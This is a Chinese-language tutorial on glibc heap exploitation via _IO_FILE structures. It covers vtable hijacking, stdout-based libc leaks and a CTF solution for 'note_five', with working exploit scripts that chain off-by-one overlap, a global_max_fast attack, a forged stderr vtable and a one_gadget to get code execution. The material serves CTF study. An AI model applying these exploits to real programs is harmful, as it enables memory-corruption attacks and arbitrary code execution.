堆进阶学习之第4大利器——IO_File
字数 1451 2025-08-24 23:51:13
IO_FILE 利用技术详解
一、IO_FILE 结构体基础
1. 核心结构体
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
char* _IO_save_base; /* Pointer to start of non-current get area. */
char* _IO_backup_base; /* Pointer to first valid character of backup area */
char* _IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker* _markers;
struct _IO_FILE* _chain; /* 链表指针,连接所有FILE结构 */
int _fileno;
int _flags2;
_IO_off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t* _lock;
};
2. _IO_FILE_plus 扩展结构
struct _IO_FILE_plus {
_IO_FILE file;
IO_jump_t* vtable; // 32位下偏移0x94,64位下偏移0xd8
};
3. 重要全局变量
_IO_list_all: FILE 结构链表的头部- 标准文件流:
_IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_
二、vtable 劫持技术
1. vtable 函数指针表
vtable 包含以下函数指针:
void *funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn (printf)
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL // imbue
};
2. 劫持方法
-
直接改写vtable函数指针:
- 通过任意地址写修改vtable中的函数指针
-
覆盖vtable指针:
- 将vtable指针指向可控内存
- 在可控内存中布置伪造的函数指针表
3. 实际利用案例
以"The_end"题目为例:
# 修改vtable指针和setbuf地址
# 选取 IO_2_1_stdout+160 作为setbuf地址
# IO_2_1_stdout+160-88 就是fake_vtable地址
for i in range(2):
sd(p64(vtable + i))
sd(p64(fake_vtable)[i])
for i in range(3):
sd(p64(fake_setbuf + i))
sd(p64(onegadget)[i])
三、IO_2_1_stdout_ 地址泄露技术
1. 函数调用链分析
puts函数调用链:
puts -> _IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow
2. 关键源码分析
_IO_puts 源码
int _IO_puts(const char *str) {
int result = EOF;
_IO_size_t len = strlen(str);
_IO_acquire_lock(_IO_stdout);
if ((_IO_vtable_offset(_IO_stdout) != 0 || _IO_fwide(_IO_stdout, -1) == -1)
&& _IO_sputn(_IO_stdout, str, len) == len
&& _IO_putc_unlocked('\n', _IO_stdout) != EOF)
result = MIN(INT_MAX, len + 1);
_IO_release_lock(_IO_stdout);
return result;
}
_IO_new_file_overflow 源码
int _IO_new_file_overflow(_IO_FILE *f, int ch) {
if (f->_flags & _IO_NO_WRITES) { // 需要f->_flags & _IO_NO_WRITES == 0
f->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return EOF;
}
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) {
// 需要f->_flags & _IO_CURRENTLY_PUTTING == 1
...
}
if (ch == EOF)
return _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
// 目标函数,相当于write(1, buf, size)
...
}
new_do_write 源码
static _IO_size_t new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do) {
if (fp->_flags & _IO_IS_APPENDING) // 需要fp->_flags & _IO_IS_APPENDING == 1
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base) {
// 需要避免进入这个分支
...
}
count = _IO_SYSWRITE(fp, data, to_do); // 最终输出,系统调用write
...
}
3. 利用条件
- 需要劫持stdout结构体
- 通常通过UAF或unsorted bin切割法获取地址
- 修改FD指针指向stdout-xx位置(需要有0x7f或0xff的size)
4. 利用步骤
- 通过unsorted bin泄露main_arena地址
- 修改FD指针指向stdout结构体附近
- 申请内存并修改stdout结构体:
- 修改flags为0xfbad1800
- 修改_IO_write_base末尾为'\x00'
- 触发输出泄露libc地址
5. 示例代码
# 劫持stdout结构体
malloc(0, 0x400)
malloc(1, 0x60)
malloc(2, 0x20)
free(0)
malloc(3, 0x60)
malloc(4, 0x60)
malloc(5, 0x60)
free(3)
free(4)
edit(4, 1, '\xe0')
# 修改FD指向stdout结构体
edit(5, 2, '\xdd\x75')
malloc(4, 0x60)
# 修改stdout结构体
py = ''
py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
malloc(5, 0x60)
edit(5, len(py), py)
# 获取泄露的地址
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
四、综合利用案例:byteCTF note_five
1. 题目特点
- 保护全开
- 存在offbyone漏洞
- 没有puts函数可以泄露地址
2. 利用思路
- 利用offbyone实现overlap
- 利用overlap改BK指针,攻击global_max_fast
- 改FD指针为stdout-0x51实现劫持
- 改stdout结构体泄露真实地址
- 伪造stderr的vtable
- 通过malloc大块触发_IO_flush_all_lockp执行onegadget
3. 关键步骤代码
# 利用offbyone实现overlap
malloc(0, 0xf8)
malloc(1, 0xf8)
malloc(2, 0xe8)
malloc(3, 0xf8)
malloc(4, 0xf8)
free(0)
payload = 'c'*0xe0 + p64(0x2f0) + '\x00'
edit(2, payload)
free(3)
# 攻击global_max_fast
malloc(0, 0x2f0-0x10)
payload = '\x11'*0xf0
payload += p64(0) + p64(0x101)
payload += '\x22'*0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0, payload)
free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229
# 劫持stdout
payload = '\x11'*0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8-0x10) + '\n'
edit(0, payload)
# 泄露地址
malloc(3, 0xf8)
payload = 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
edit(4, payload)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
# 伪造stderr的vtable
onegadget = libc_base + 0xf1147
fake_vtable = libc_base + 0x3c5600 - 8
py = '\x00' + p64(libc_base + 0x3c55e0) + p64(0)*3 + p64(0x1) + p64(0) + p64(onegadget) + p64(fake_vtable) + '\n'
edit(4, py)
# 触发
malloc(1, 1000)
五、总结与关键点
1. 关键知识点
- FILE结构体布局:理解_IO_FILE和_IO_FILE_plus结构
- vtable机制:掌握vtable的位置和函数指针调用方式
- 标准文件流:stdin/stdout/stderr在内存中的位置
- 函数调用链:puts/printf等函数如何最终调用vtable中的函数
2. 利用技巧
-
条件控制:
- 控制flags避免进入错误分支
- 合理设置_IO_write_base等指针
-
地址泄露:
- 通过修改stdout结构体实现地址泄露
- 需要合适的flags值(如0xfbad1800)
-
劫持方法:
- 直接修改vtable函数指针
- 伪造整个vtable结构
3. 防御绕过
-
针对保护全开的程序,需要结合多种技术:
- 堆布局控制
- 利用offbyone等漏洞
- 结合IO_FILE和vtable机制
-
注意指针修改的精确性,特别是在ASLR环境下
通过深入理解IO_FILE结构和相关机制,可以开发出多种有效的利用技术,在CTF比赛和实际漏洞利用中发挥重要作用。